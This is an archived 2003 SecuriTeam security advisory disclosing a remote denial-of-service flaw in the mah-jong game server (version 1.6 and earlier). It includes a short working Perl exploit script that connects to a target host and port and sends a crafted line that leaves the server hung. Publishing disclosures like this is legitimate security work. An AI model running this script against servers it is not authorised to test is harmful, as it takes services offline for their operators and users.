[EXPL] mah-jong Remote DoS (NULL)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/16/03

  • Next message: SecuriTeam: "[NT] Buffer Overflow in AOL Instant Messager's Getfile Parameter" 
    To: list@securiteam.com
Date: 16 Oct 2003 14:28:51 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      mah-jong Remote DoS (NULL)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability could be exploited by a remote attacker to cause the
    <http://www.stevens-bradfield.com/MahJong/> mah-jong server to enter a
    tight loop and stop responding to commands. This is caused by "not"
    sending anything once you have connected to the server.

    DETAILS

    Vulnerable systems:
     * mah-jong vesion 1.6 and prior

    Exploit:
    #!/usr/bin/perl -s
    use IO::Socket;
    # test it in slackware 9.0
    # DOS-test--mj1.6--code by jsk
    # mahJong 1.6, all versions of mahjong
    if(!$ARGV[0] || !$ARGV[1])
     { print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $jsk ="Connect 1034 0";
    $socket = new IO::Socket::INET (
     Proto => "tcp",
     PeerAddr => $host,
     PeerPort => $port);

    die "unable to connect to $host:$port ($!)\n" unless $socket;
    print $socket "Connect 1034 0";
    print $socket "\r\n";
    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jsk@ph4nt0m.net> jsk.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Buffer Overflow in AOL Instant Messager's Getfile Parameter"

    Relevant Pages

    • [NEWS] Multi Vendor fd_set Structure Bitmap Array Index Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... fd_set is defined as a bitmask array with a socket number as an array ... One process per client model s for every client ... Model 1 is safe from this kind of vulnerability ...
      (Securiteam)
    • [EXPL] 2Wire DoS (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SOCKET wsck; ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Linux Kernel scm_send Local DoS Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Linux kernel provides a powerful socket API to user applications. ... The socket layer uses several logical sub ... the auxiliary message layer ...
      (Securiteam)
    • [EXPL] Imail Buffer Overflow Exploit (RCPT TO)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Imail Buffer Overflow Exploit ... send $socket, $request, 0; ...
      (Securiteam)
    • [NT] Mollensoft Lightweight FTP Server CWD Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mollensoft Lightweight FTP Server's support for the CWD command ... $socket or die "Cannot connect to host!\n"; ...
      (Securiteam)